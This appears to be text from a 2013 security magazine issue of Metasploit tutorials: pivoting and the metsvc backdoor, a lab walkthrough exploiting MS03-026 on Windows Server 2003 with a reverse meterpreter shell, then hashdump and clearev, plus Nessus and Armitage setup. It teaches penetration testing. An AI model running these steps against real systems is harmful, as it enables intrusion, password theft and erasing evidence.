anyone can run a listener with same configuration and will get a meterpreter session of the victim. MetSvc Similar to persistence, metsvc written by Alexander Sotirov is also a backdoor that allows getting a meterpreter session any time without exploitation. Metsvc opens a port runs as a service on that port listening for requests on the victim machine. The attacker can connect to the port and get a meterpreter session without an authentication. Therefore it’s not safe to keep this backdoor open forever as anyone who can connect to this port can get a session. In real world scenarios, you could either edit the source to allow authentication or filter out the connections on the port to only allow attacker to connect (Listing 10).

Victim pivoting Pivoting is the unique technique of using an instance to be able to “move” around inside a network. Basically using the first compromised system to allow and even aid in the compromise of other otherwise inaccessible systems. In order to understand this better let’s take an example where you have compromised a system that is connected to another network not accessible to the attacker. The layout of the network is shown in Figure 4 • Attacker: IP – 192.168.1.132 • Victim1: IP – 192.168.1.131, 2nd IP – 192.168.15.3 • Victim2: IP – 192.168.15.32 (not accessible by attacker) After breaking into victim1 and using the meterpreter session to run the ipconfig command

Figure 4. Layout of a test network

81

EXPLOITING WITH METASPLOIT shows that the victim1 is connected to two different networks. We will use this new information and attack the additional network. Metasploit includes an autoroute meterpreter script that allows the pentester to attack this new network through victim1 (Listing 11). On successful addition of the route you can scan the new network for other systems. After the scan you can launch an attack on the new system (victim2) just like the attack on victim1. All the attack data will be routed through victim1 that was added by the autoroute script. On successful exploitation of victim2 we will have a meterpreter session via the existing meterpreter session of victim1. This demonstrates that pivoting is an extremely powerful feature available in Metasploit that lets you exploit the systems which are normally not accessible to the attacker. This is one feature which every pentester should know about and have experience using it.

Conclusion We saw that we can do much more and extract so much information about the victim post exploitation than just running a payload with the exploit. Post exploitation not only helps in gathering more information about the victim but also helps you in

digging further into the network by using the victim as a gateway to other subnets. On an ending note I would say that post exploitation is as important or may be more important than the idea of breaking into the system.

HARSIMRAN WALIA

Harsimran Walia is a research scientist at McAfee Labs. He graduated as with a degree in mechanical engineering from the Indian Institute of Technology, Delhi. Harsimran presented his research at India’s biggest International Hacking Conference NullCon, 2011 and has provided talk on “Android Security” at c0c0n, 2012, a Cyber security and policing conference. He specialises in the field of Offensive Metasploit, Reverse Engineering and Malware Analysis. He is also an author of various research papers and articles.

Listing 11. Attack a new network through victim1 meterpreter > run autoroute -h [*] Usage: run autoroute [-r] -s subnet -n netmask [*] Examples: [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0 [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0 [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay [*] run autoroute -p # Print active routing table [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route [*] Use the “route” and “ipconfig” Meterpreter commands to learn about available routes meterpreter > run autoroute -s 192.168.15.0/24 [*] Adding a route to 192.168.15.0/255.255.255.0...

[+] Added route to 192.168.15.0/255.255.255.0 via 192.168.1.131 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet -----192.168.15.0

82

Netmask ------255.255.255.0

Gateway ------Session 1

TBO 01/2013

Your One-stop Security Solution Portal From components to solutions, 560 original security manufacturers are here to offer turn-key services. • Asia’s No 1 access control showcase, including parking, gates and locks • Grand display of CCTV upgrades solutions • World’s only HD-SDI pavilion and live demo • Special highlights: vehicle security, home security and accessories • Top 100 premier manufacturers from Taiwan, China, Korea and other countries • 3000+ kinds of new launches

April 24 - 26, 2013 Taipei Nangang Exhibition Center, Taiwan www.secutech.com First Secutech mobile app available Scan QR code for free download!

EXPLOITING WITH METASPLOIT

How to Use Metasploit for Penetration Testing When we say “Penetration Testing tool” the first thing that comes to our mind is the world’s largesat Ruby project, initially started by HD Moore in 2003 called ‘Metasploit‘ a sub-project of Metasploit Project. Other important sub-projects include the Opcode Database, shell code archive, and security research.

I

t was created in 2003 in the Perl programming language, but due to some Perl disadvantages was completely re-written in the Ruby Programming Language in 2005. On October 21, 2009, Rapid7, a vulnerability management solution company, acquired the Metasploit Project. A collaboration between the open source community and Rapid7, Metasploit software helps security and IT professionals identify security issues, verify vulnerability mitigations, and manage expert-driven security assessments, providing true security risk intelligence. Capabilities include smart exploitation, password auditing, web application scanning, and social engineering (Figure 1). No wonder it had become the standard framework for penetration testing and vulnerability development and the world’s largest public database of quality assured exploits. Metasploit itself is free, opensource software, with many contributors in the security community,

Figure 1. Metasploit

84

but two commercial Metasploit versions are also available.

Working with metasploit Metasploit is simple to work on and is designed with ease-of-use in mind to support Penetration Testers and other security experts. When you encounter the Metasploit Framework (MSF) for the first time, you might be overwhelmed by its many interfaces, options, utilities, variables, and modules. Metasploit framework had basic terminology that is same throughout the security industry. These terms are as follows: • Exploit – An exploit is the means by which an attacker, or pen-tester takes advantage of a flaw within a system, an application, or a service. An attacker uses an exploit to attack a system in a way that results in a particular desired outcome that the developer never intended. • Payload – A payload is code that we want the system to execute and that is to be selected and delivered by the Framework. For example, a reverse shell is a payload that creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that ‘’binds’’ a command prompt to a listening port on the target machine, which the attacker can then connect. A payload could also be something as simple as a few commands to be executed on the target operating system.

TBO 01/2013

• Shell-code – Shell-code is a set of instructions used as a payload when exploitation occurs. Shell-code is typically written in assembly language. In most cases, a command shell or a Meterpreter shell will be provided after the series of instructions have been performed by the target machine, hence the name. • Module – A module is a piece of software that can be used by the Metasploit Framework. At times, you may require the use of an exploit module, a software component that conducts the attack. Other times, an auxiliary module may be required to perform an action such as scanning or system enumeration. These interchangeable modules are the core of what makes the Framework so powerful. • Listener – A listener is a component within Metasploit that waits for an incoming connection of some sort. For example, after the target machine has been exploited, it may call the attacking machine over the Internet. The listener handles that connection, waiting on the attacking machine to be contacted by the exploited system.

Metasploit Interfaces • Msfconsole – most popular, most flexible, feature-rich, and well-supported tools within the Framework, it’s like a one-stop shop for all of your exploitation. • Msfcli – priority on scripting and interpret-ability with other console-based tools, runs directly from the command line allows redirect output from other tools into msfcli and direct msfcli output to other command-line tools supports the launching of exploits and auxiliary modules, and it can be convenient when testing modules or developing new exploits for the Framework. It is a fantastic tool for unique exploitation when you know exactly which exploit and options you need. • Armitage – fully interactive graphical user interface created by Raphael Mudge. Interface is highly impressive, feature rich, and available for free.

Metasploit Utilities Metasploit’s utilities are direct interfaces to particular features of the Framework that can be useful in specific situations, especially in exploit development.

MSFpayload The msfpayload component of Metasploit allows you to generate shell-code, executable, and much more for use in exploits outside of the Framework. Shell-code can be generated in many formats in-

www.hakin9.org/en

cluding C, Ruby, JavaScript, and even Visual Basic for Applications. Each output format will be useful in various situations. For example, if you are working with a Python-based proof of concept, Cstyle output might be best; if you are working on a browser exploit, a JavaScript output format might be best. After you have your desired output, you can easily insert the payload directly into an HTML file to trigger the exploit. Command – msfpayload –h show option it takes.

MSFencode The shellcode generated by msfpayload is fully functional, but it contains several null characters that, when interpreted by many programs, signify the end of a string, and this will cause the code to terminate before completion. In other words, those x00s and xffs can break your payload! In addition, shell-code traversing a network in clear text is likely to be picked up by intrusion detection systems (IDSs) and antivirus software. To address this problem, Metasploit’s developers offer msfencode, which helps you to avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. Command – msfencode –h show list of options.

Nasm Shell The nasm_shell.rb utility can be handy when you’re trying to make sense of assembly code, especially if, during exploit development, you need to identify the opcodes (the assembly instructions) for a given assembly command To run the nasm shell you need to run the ruby script from the framework folder. Command – # ./nasm_shell.rb and now enter the assembly command it will generate the opcodes.

Exploitation from basics Metasploit Framework follows these common steps while exploiting any target system • Select and configure the exploit to be targeted. This is the code that will be targeted toward a system and validate whether the chosen system is susceptible to the chosen exploit. • Select and configure a payload that will be used. This payload represents the code that will be run on a system after a loop-hole has been found in the system and an entry point is set. • Select and configure the encoding schema to be used to make sure that the payload can evade Intrusion Detection Systems with ease. • Execute the exploit.

85

EXPLOITING WITH METASPLOIT Now Metasploit contains hundreds of modules to exploit a specific vulnerability so it provides a search feature which can be used using show command.

portions of code delivered to a target. A payloads can be as simple as command prompt or as complex as a graphical interface on the target machine. To see active list of payloads in a module use

• msf>show – will display every module in the metasploit framework.

msf> show payloads

You can narrow your search to display only specific module by using command • msf>show exploits – exploits operate against the vulnerabilities that you discover during a penetration test. New exploits are always being developed, and the list will continue to grow. This command will display every currently available exploit within the Framework. • msf>show auxiliary – Auxiliary modules in Metasploit can be used for a wide range of purposes. They can operate as scanners, denial-of-service modules, fuzzers, and much more. This command will display them and list their features. Now after searching, to use a particular module from the framework you need use command • msf>use ‘name of the exploits’ and to change module just use back When the module from the metasploit framework is selected, by running the command show options metasploit will display only the option that apply to that particular module. When no modules set to use show option command will display the global options, example: set LogLevel to be more verbose to perform attack. The module in metasploit framework needs the “options for that module” to be set. To set the options for particular module you need to use the set or unset commands and you can also use setg and unsetg commands to set or unset a parameter globally within msfconsole. Using these commands can save you from having to reenter the same information repeatedly, particularly in the case of frequently used options that rarely change, such as LHOST but you need to save all the setting using save command. Some modules often list vulnerable targets as some vulnerability targetsrelies on harcoded memory address, the exploits are specific on operating system and specific patch levels, version and security implementations using show targets command list the exploits targets. Now everything is done it needs payloads which are platform-specific

86

Pentesting with metasploit Metasploit

Here is the demonstration of pen testing a vulnerable target system using Victim Machine OS: Microsoft Windows Server 2003 IP: “*” Attacker (Our) Machine OS: Backtrack 5 GNU/Linux IP: “*”

Our objective here is to gain remote access to given target which is known to be running vulnerable Windows 2003 Server. Here are the detailed steps of our attack in action:

Step 1 Perform an Nmap scan of the remote server ‘IP’. The output of the Nmap scan shows us a range of ports open which can be seen below in Figure 2: We notice that there is port 135 open. Thus we can look for scripts in Metasploit to exploit and gain shell access if this server is vulnerable.

Figure 2. Open ports

Figure 3. Locate the console

TBO 01/2013

Step 2 Now on your BackTrack launch msfconsole as shown below: Application > BackTrack > Exploitation Tools > Network Exploit Tools > Metasploit Framework > msfconsole (Figure 3). During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the welcome screen as shown: Figure 4.

Step 3 Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit. To list out all the exploits supported by Metasploit we use the “show exploits” command. This exploit lists out all the currently available exploits and a small portion of it is shown Figure 5. As you may have noticed, the default installation of the Metasploit Framework 3.8.0-dev comes with 696 exploits and 224 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a real tedious task. So, we use a better option. You can either visit the link http://metasploit.com/modules/ or another alternative would be to use the “search ””command in Metasploit to search for

related exploits for RPC command in Metasploit. In msfconsole type “search dcerpc” to search all the exploits related to dcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window and this is shown in Figure 6.

Step 4 Now that you have the list of RPC exploits in front of you, we would need more information about the exploit before we actually use it. To get more information regarding the exploit you can use the command: “info exploit/windows/dcerpc/ms03_026_dcom”

This command provides information such as available targets, exploit requirements, details of vulnerability itself, and even references where you can find more information. This is shown in Figure 7.

Step 5

The command “use ” activates the exploit environment for the exploit . In our case we will use the following command to activate our exploit

Figure 6. Related exploits

Figure 4. Welcome screen

Figure 5. Available exploits

www.hakin9.org/en

Figure 7. Targets, Exploit requirements, Vulnerabilities, References

87

EXPLOITING WITH METASPLOIT “use exploit/windows/dcerpc/ms03_026_dcom”

From the above figure we can see that, after the use of the exploit command the prompt changes from “msf>” to “msf exploit(ms03_026_dcom) >” which symbolizes that we have entered a temporary environment of that exploit (Figure 8).

Step 6 Now, we need to configure the exploit as per the need of the current scenario. The “show options” command displays the various parameters which are required for the exploit to be launched properly. In our case, the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the “set RHOST” command. We enter the command “set RHOST IP” and we see that the RHOST is set to IP (Figure 9).

Step 7 The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the “show payloads” command. As shown in the below figure, “show payloads” command will list all payloads that are compatible with the selected exploit (Figure 10). For our case, we are using the reverse tcp meterpreter which can be set using the command, “set PAYLOAD windows/meterpreter/reverse_ tcp” which spawns a shell if the remote server is successfully exploited. Now again you must view the available options using “show options” to make sure all the compulsory sections are properly filled so that the exploit is launched properly (Figure 11).

We notice that the LHOST for out payload is not set, so we set it to out local IP ie. IP using the command “set LHOST IP”

Step 8 Now that everything is ready and the exploit has been configured properly its time to launch the exploit. You can use the “check” command to check whether the victim machine is vulnerable to the exploit or not. This option is not present for all the exploits but can be a real good support system before you actually exploit the remote server to make sure the remote server is not patched against the exploit you are trying against it. In out case as shown in the figure below, our selected exploit does not support the check option (Figure 12). The “exploit” command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system (Figure 13). The above figure shows that the exploit was successfully executed against the remote machine 192.168.42.129 due to the vulnerable port 135. This is indicated by change in prompt to “meterpreter >”.

Step 9 Now that a reverse connection has been setup between the victim and our machine, we have complete control of the server. We can use the “help”

Figure 10. Show payloads Figure 8. The environment if the exploit

Figure 9. RHOST set to IP

88

Figure 11. Show options

TBO 01/2013

command to see which all commands can be used by us on the remote server to perform the related actions as displayed in the Figure 14. Below are the results of some of the meterpreter commands. “ipconfig” prints the remote machines all current TCP/IP network configuration values “getuid” prints the server’s username to the console. “hashdump” dumps the contents of the SAM database. “clearev” can be used to wipe off all the traces that you were ever on the machine.

COMMANDS RECALL

search : Typing in the command ‘search’ along with the keyword lists out the various possible exploits that have that keyword pattern. show exploits: Typing in the command ‘show exploits’ lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploit. show payloads: With the same ‘show’ command, we can also list the payloads available. We can use a ‘show payloads’ to list the payloads. show options: Typing in the command ‘show options’ will show you options that you have set and

Figure 12. Exploit does not support the check option

possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set. info : If you want specific information on an exploit or payload, you are able to use the ‘info’ command. Let’s say we want to get complete info of the payload ‘winbind’. We can use ‘info payload winbind’. use : This command tells Metasploit to use the exploit with the specified name. set RHOST : This command will instruct Metasploit to target the specified remote host. set RPORT : This command sets the port that Metasploit will connect to on the remote host. set PAYLOAD : This command sets the payload that is used to a generic payload that will give you a shell when a service is exploited. set LPORT : This command sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server (i.e.it is not in use by another service and not reserved for administrative use), so set it to a random 4 digitnumber greater than 1024, and you should be fine. You’ll have to change the number each time you successfully exploit a service as well. exploit: Actually exploits the service. Another version of exploit, rexploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console. help: The ‘help’ command will give you basic information of all the commands that are not listed out here.

Figure 13. Launching the attack

ANKHORUS CYBER SECURITY

Figure 14. Related actions

www.hakin9.org/en

Ankhorus Cyber Security – ankhorusTM is a cyber security product and services solution provider. ankhorus™ deal in various cyber security solution like managed web security, managed application and network security, and various pen-testing services and auditing services.

89

EXPLOITING WITH METASPLOIT

How to Scan

with Nessus from within Metasploit When you perform a penetration test with Metasploit you sometimes import vulnerability scanning results for example Nessus Vulnerability Scanner. Usually you start the scan externally from Metasploit framework and then import the results into Metasploit.

W

hat you can do is to manage the Nessus scan from within Metasploit and easily import the results into your process. But let’s start from the beginning.

http://www.nessus.org and download the Ubuntu 11.10 version for your architecture (32-bit or 64bit).

What you should know

Install Nessus by running

To get the most of this article you should have a working (and preferably updated) BackTrack 5 R3 system, 32-bit or 64-bit shouldn’t matter but I personally run a 32-bit system in a virtual machine. This article makes extensive use of the command line so you should preferably be familiar with that.

What you will learn

Installing 32-bit # dpkg --install Nessus-5.0.1-ubuntu1110_i386.deb

64-bit # dpkg --install Nessus-5.0.1-ubuntu1110_amd64.deb

After reading this article you should know how to run a Nessus scan both from the Nessus console and, more importantly, from within the Metasploit Framework.

Installing Nessus on BackTrack 5 R3 To run a Nessus vulnerability scan from the Metasploit console you first need to have a Nessus installation somewhere. Please refer to http:// www.tenable.com/products/nessus/nessus-product-overview for download and installation instructions. I’ll wait while you install it, and don’t forget to register your installation so you can download the latest plugins for it.

Downloading To download Nessus vulnerability scanner go to

90

Figure 1. Registering Nessus

TBO 01/2013

Configuring First you need to register for a feed, which is how you get updated plugins very much like an antivirus gets updated definitions. For home user there is a free personal feed and for organizations and security professionals there is a professional feed which is very affordable (at the time of writing it is USD$1200 per year, which makes it USD$100 per month). If your organization can’t afford that then you are in serious trouble. Once you got your feed registration it is time to register Nessus (Figure 1). # nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX

Finally create a user for Nessus: Figure 2 and Listing 1. Running Nessus Start Nessus by running # /etc/init.d/nessusd start

good idea unless you know why you get the warning and the implications of it).

Using Metasploit Framework and Nessus together Scanning the local network

Let’s scan the local network for vulnerable systems (Figure 3). After filling out the required information you can start the scan. Time to grab some coffee... Depending on the size of the target network the scan process can take anything from a few minutes to hours... (Figure 4). Once the scan is finished you can browse the report and download it so you can import it into Metasploit (Figure 5). Manually importing Nessus results into Metasploit Once you have a Nessus report you can download it in .nessus XML format (recommended) and import it using db_import command: Listing 2.

You can access the Nessus console by going to https://:8834/. You will be presented with a certificate warning because the SSL-certificate is self-signed. Click through the warning message to access the console (generally not a Listing 1. Create a user for Nessus # nessus-adduser Login : msf Password : Password (again) : Do you want this user to be a Nessus ’admin’ user ? (can upload plugins , etc...) (y/n) [n]: y

Figure 3. Scanning the local network for vulnerable systems

Figure 2. Create a user for Nessus

www.hakin9.org/en

Figure 4. The span of time needed to scan with Nessus

91

EXPLOITING WITH METASPLOIT msf> db_import /path/to/report.nessus

But that means that you need to run the scan first the scan and then import it to Metasploit...

Run Nessus from within Metasploit Framework A much cooler feature is to run the vulnerability scan directly from your Metasploit console, using the information you already collected about the target network.

Load Nessus plugin In Metasploit you start with loading the nessus plugin: msf> load nessus

and then connect to the Nessus installation Connect Metasploit to Nessus server Listing 3.

Listing 2. Importing a Nessus report

msf> nessus_connect user:password@localhost:8834 ok

msf> db_import Usage: db_import [file2...] Filenames can be globs like *.xml, or **/*.xml which will search recursively Currently supported file types include: Acunetix XML Amap Log Amap Log -m Appscan XML Burp Session XML Foundstone XML IP360 ASPL IP360 XML v3 Microsoft Baseline Security Analyzer Nessus NBE Nessus XML (v1 and v2) NetSparker XML NeXpose Simple XML NeXpose XML Report Nmap XML OpenVAS Report Qualys Asset XML Qualys Scan XML Retina XML

If you save the credentials using msf> nessus_save

Listing 3. Connecting Metasploit to Nessus server msf> nessus_connect -h [*] You must do this before any other commands. [*] Usage: [*] nessus_connect username:password@ hostname:port [*] Example:> nessus_connect msf:[email protected]:8834 ok [*] OR [*] nessus_connect username@ hostname:port [*] Example:> nessus_connect [email protected]:8834 ok [*] OR [*] nessus_connect hostname:port [*] Example:> nessus_connect 192.168.1.10:8834 ok [*] OR [*] nessus_connect [*] Example:> nessus_connect [*] This only works after you have saved creds with nessus_save [*] [*] username and password are the ones you use to login to the nessus web front end [*] hostname can be an ip address or a dns name of the web front end. [*] The “ok” on the end is important. It is a way of letting you [*] know that nessus used a self signed cert and the risk that presents.

Figure 5. Browsing and downloading the report

92

TBO 01/2013

You only need to issue

Listing 4. Selecting a policy

msf> nessus_connect msf> nessus_policy_list [+] Nessus Policy List [+] [+] --1 -2 -3 -4

ID Name ---Web App Tests Internal Network Scan Prepare for PCI DSS audits External Network Scan

Comments --------

Listing 5. Starting the scan msf> nessus_scan_new -h [*] Usage: [*] nessus_scan_new [*] Example:> nessus_scan_new 1 “My Scan” 192.168.1.250 [*] [*] Creates a scan based on a policy id and targets. [*] use nessus_policy_list to list all available policies

Listing 6. Importing the scan’s results into Metasploit msf> nessus_report_list msf> nessus_report_get -h [*] Usage: [*] nessus_report_get [*] Example:> nessus_report_get f0eabba34065-7d54-5763f191e98eb0f7f9f33db7e75a06ca [*] [*] This command pulls the provided report from the nessus server in the nessusv2 format [*] and parses it the same way db_import_ nessus does. After it is parsed it will be [*] available to commands such as db_hosts, db_vulns, db_services and db_autopwn. [*] Use: nessus_report_list to obtain a list of report id’s msf> nessus_report_get f0eabba34065-7d54-5763f191e98eb0f7f9f33db7e75a06ca

www.hakin9.org/en

to automatically connect to your Nessus instance. Be warned, your Nessus credentials are stored in the clear in ~/.msf4/nessus.yaml – but it saves on typing... Configuring Nessus from Metasploit After you have connected to the Nessus scan it is time to scan the target. First we need to select a policy: Listing 4. Unfortunatly, you can’t create Nessus scan policies from the Metasploit plugin and you are forced to use the flash-based web GUI. This shouldn’t be a big problem as creating policies is done far less often than performing vulnerability scans with them. Scan with Nessus from within Metasploit Then we need to start the scan: Listing 5. msf> nessus_scan_new -4 “Metasploit Scan” 192.168.1.0/24

Importing the Nessus results into Metasploit Once the scan is completed it is time to import the result into Metasploit (Listing 6.) After which it is time to check what we now know about our target network using the “hosts”, “services” and “vulns” commands in the Metasploit console.

Final thoughts Integrating Nessus vulnerability scan into Metasploit has several positive effects, like using Metasploit as the central repository for the current penetration test project and being able to share the information between team members when used in conjunction with Armitage (thus allowing multiplayer Metasploit).

MICHAEL BOMAN

Michael Boman is a penetration tester by day and a malware researcher by night. Michael has more than 10 years experience in security testing of applications and infrastructure. He also deliver courses in security testing and secure development. Michael is passionate about computer security and doing his best so that more people do it right from start. You can find him at his website http://michaelboman.org where he tries to share his experiences whenever he can.

93

EXPLOITING WITH METASPLOIT

How to Use Multiplayer Metasploit with Armitage Metasploit is a very cool tool to use in your penetration testing: add Armitage for a really good time. Penetration test engagements are more and more often a collaborative effort with teams of talented security practitioners rather than a solo effort.

A

rmitage is a scriptable red team (that is what the offensive security teams are called) collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework. Through one Metasploit/Armitage Server instance, your team can:

• Use the same sessions • Share hosts, captured data, and downloaded files • Communicate through a shared event log (very similar to a IRC chat if you are familiar with those) • Run bots to automate red team tasks

What you should know To get the most of this article you should have a working (and preferably updated) BackTrack 5 R3 system, 32-bit or 64-bit shouldn’t matter but I personally run a 32-bit system in a virtual machine. This article makes extensive use of the command line so you should preferably be familiar with that. You should also have a workstation that can run the Armitage java GUI, which either can be the BackTrack computer in X-windows or a separate computer running Linux, OSX or Windows which can reach the BackTrack machine via the network. Armitage’s red team collaboration setup is CPU sensitive and it likes RAM. Make sure you give

94

the virtual machine (or physical machine) at least 1.5GB of RAM to your BackTrack 5 R3 team server.

What you will learn After reading this article you should know how to run a Armitage server and have several clients connected to it for multiplayer Metasploit, meaning running red teams with more than a single member on the same Metasploit server.

Installation I will base this article on BackTrack 5 R3, so get that from http://www.backtrack-linux.org/. After you have downloaded and booted it you need to start with connecting it to the network and update Metasploit Framework. The default username/ password for BackTrack 5 is ”root” / ”toor”(”root” spelled backwards).

Update BackTrack and Metasploit Before we begin we should update BackTrack to get the latest fixes by running # apt-get update # apt-get dist-upgrade

We should also update the Metasploit Framework by running # msfupdate

TBO 01/2013

Listing 1a. Updating the Metasploit Framework #! /bin/sh ### BEGIN INIT INFO # Provides: # Required-Start: # Required-Stop: # Default-Start: # Default-Stop: # Short-Description: # Description: # ### END INIT INFO

armitage-teamserver

2 3 4 5 0 1 6 Armitage TeamServer Armitage TeamServer for true Multiplayer Metasploit

# Author: Michael Boman # PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/bin DESC=”Armitage TeamServer” NAME=teamserver ARMITAGE_DIR=/opt/metasploit/msf3/data/armitage DAEMON=$ARMITAGE_DIR/$NAME DAEMON_ARGS=”172.16.109.130 MySecretPassword” PIDFILE=/var/run/$NAME.pid SCRIPTNAME=/etc/init.d/$NAME # Exit if the package is not installed [ -x “$DAEMON” ] || exit 0 # Read configuration variable file if it is present [ -r /etc/default/$NAME ] && . /etc/default/$NAME # Load the VERBOSE setting and other rcS variables . /lib/init/vars.sh # Define LSB log_* functions. # Depend on lsb-base (>= 3.0-6) to ensure that this file is present. . /lib/lsb/init-functions # # Function that starts the daemon/service # do_start() { # Return # 0 if daemon has been started # 1 if daemon was already running # 2 if daemon could not be started start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --chdir $ARMITAGE_DIR --test > /dev/null \ || return 1 start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --chdir $DAEMON_ARGS \

www.hakin9.org/en

95

EXPLOITING WITH METASPLOIT Listing 1b. Updating the Metasploit Framework || }

return

2

# # Function that stops the daemon/service # do_stop() { # Return # 0 if daemon has been stopped # 1 if daemon was already stopped # 2 if daemon could not be stopped # other if a failure occurred start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE --name $NAME RETVAL=”$?” [ “$RETVAL” = 2 ] && return 2 # Wait for children to finish too if this is a daemon that forks # and if the daemon is only ever run from this initscript. # If the above conditions are not satisfied then add some other code # that waits for the process to drop all resources that could be # needed by services started subsequently. A last resort is to # sleep for some time. start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON [ “$?” = 2 ] && return 2 # Many daemons don’t delete their pidfiles when they exit. rm -f $PIDFILE return “$RETVAL” } # # Function that sends a SIGHUP to the daemon/service # do_reload() { # # If the daemon can reload its configuration without # restarting (for example, when it is sent a SIGHUP), # then implement that here. # start-stop-daemon --stop --signal 1 --quiet --pidfile $PIDFILE --name $NAME return 0 } case “$1” in start) [ “$VERBOSE” != no ] && log_daemon_msg “Starting $DESC” “$NAME” do_start case “$?” in 0|1) [ “$VERBOSE” != no ] && log_end_msg 0 ;; 2) [ “$VERBOSE” != no ] && log_end_msg 1 ;;

96

;; stop)

TBO 01/2013

Listing 1c. Updating the Metasploit Framework [ “$VERBOSE” != no ] && log_daemon_msg “Stopping $DESC” “$NAME” do_stop case “$?” in 0|1) [ “$VERBOSE” != no ] && log_end_msg 0 ;; 2) [ “$VERBOSE” != no ] && log_end_msg 1 ;; esac ;; status) status_of_proc “$DAEMON” “$NAME” && exit 0 || exit $? ;; #reload|force-reload) # # If do_reload() is not implemented then leave this commented out # and leave ‘force-reload’ as an alias for ‘restart’. # #log_daemon_msg “Reloading $DESC” “$NAME” #do_reload #log_end_msg $? #;; restart|force-reload) # # If the “reload” option is implemented then remove the # ‘force-reload’ alias # log_daemon_msg “Restarting $DESC” “$NAME” do_stop case “$?” in 0|1) do_start case “$?” in 0) log_end_msg 0 ;; 1) log_end_msg 1 ;; # Old process is still running *) log_end_msg 1 ;; # Failed to start esac ;; *) # Failed to stop log_end_msg 1 ;; esac ;; *) echo “Usage: $SCRIPTNAME {start|stop|status|restart|force-reload}” >&2 exit 3 ;; esac :

www.hakin9.org/en

97

EXPLOITING WITH METASPLOIT Once that is done we are ready to get Armitage running.

Configuring Armitage Before you can use Armitage you need to configure it and make sure it is running (and create startup-scripts so it is always started when the system boots up). To begin with we need a shared secret (also known as a password) that is the gatekeeper between your Armitage server and its clients. Anyone who knows this password can access your server and access the results your have collected, including active sessions. Take care when choosing this password, although for this article I will chose a password that is not considered secure but is easy to read.

Manually start Armitage Teamserver To manually start Armitage Teamserver you first need to move to the Armitage directory which is (in BackTrack 5 R3) /opt/metasploit/msf3/data/ armitage by running: # cd /opt/metasploit/msf3/data/armitage

And then to start the Armitage Teamserver you need to run ./teamserver like this: # ./teamserver 172.16.109.130 MySecretPassword

Creating start-up scripts for Armitage To start the Armitage Team Server for true multiplayer Metasploit you need to create a startup script. As of this moment the correct way to start a Armitage team server on BackTrack 5 R3 is like this: Listing 1.

Figure 1. Armitage client connection window

98

Start Armitage server automatically at boot Add the Armitage to automatically start at boot with the following command: # update-rc.d armitage-teamserver defaults

Using Armitage Connecting Armitage client to the Server.

Using Armitage GUI The Armitage GUI has three main panels: modules (top to the left), targets (top to the right) and tabs (bottom), which can be resized to your liking. Modules The module browser lets you launch a Metasploit auxiliary module, throw an exploit, generate a payload, and run a post-exploitation module. Click through the tree to find the desired module. Double-click the module to open a module launch dialog. Armitage will configure the module to run against the selected hosts. This works for auxiliary modules, exploits, and post modules. Running a module against multiple hosts is one of the big advantages of Armitage. In the Metasploit console, you must configure and launch an exploit and post modules for each host you’re working with while in the Armitage GUI most of the module settings are already populated. You can search modules too. Click in the search box below the tree, type a wildcard expression (e.g., ssh_*), and press enter. The module tree will show the search results, expanded for quick viewing. Clear the search box and press enter to restore the module browser to its original state. Targets – Graph View The targets panel shows your targets to you. Armitage represents each target as a computer with its IP address and other information about it below

Figure 2. Description of the Armitage user interface

TBO 01/2013

EXPLOITING WITH METASPLOIT the computer. The computer screen shows the operating system the computer is running (Figure 2). A red computer with electrical jolts indicates a compromised host. A directional green line indicates a pivot from one host to another. Pivoting allows Metasploit to route attacks and scans through intermediate hosts. A bright green line indicates the pivot communication path is in use. Click a host to select it. You may select multiple hosts by clicking and dragging a box over the desired hosts. Right-click a host to bring up a menu with available options. The attached menu will show attack and login options, menus for existing sessions, and options to edit the host information. The login menu is only available after a port scan reveals open ports that Metasploit can use. The Attack menu is only available after finding attacks through the Attacks menu at the top of Armitage. Shell and Meterpreter menus show up when a shell or Meterpreter session exists on the selected host. Several keyboard shortcuts are available in the targets panel. To edit these, go to Armitage -> Preferences. • • • • • • • •

Ctrl Plus – zoom in Ctrl Minus – zoom out Ctrl 0 – reset the zoom level Ctrl A – select all hosts Escape – clear selection Ctrl C – arrange hosts into a circle Ctrl S – arrange hosts into a stack Ctrl H – arrange hosts into a hierarchy. This only works when a pivot is set up. • Ctrl P – export hosts into an image Right-click the target area with no selected hosts to configure the layout and zoom level of the target area. Targets – Table View If you have a lot of hosts, the graph view becomes difficult to work with. For this situation Armitage has a table view. Go to Armitage -> Set Target View ->

Figure 3. Your preferences stored in Armitage

100

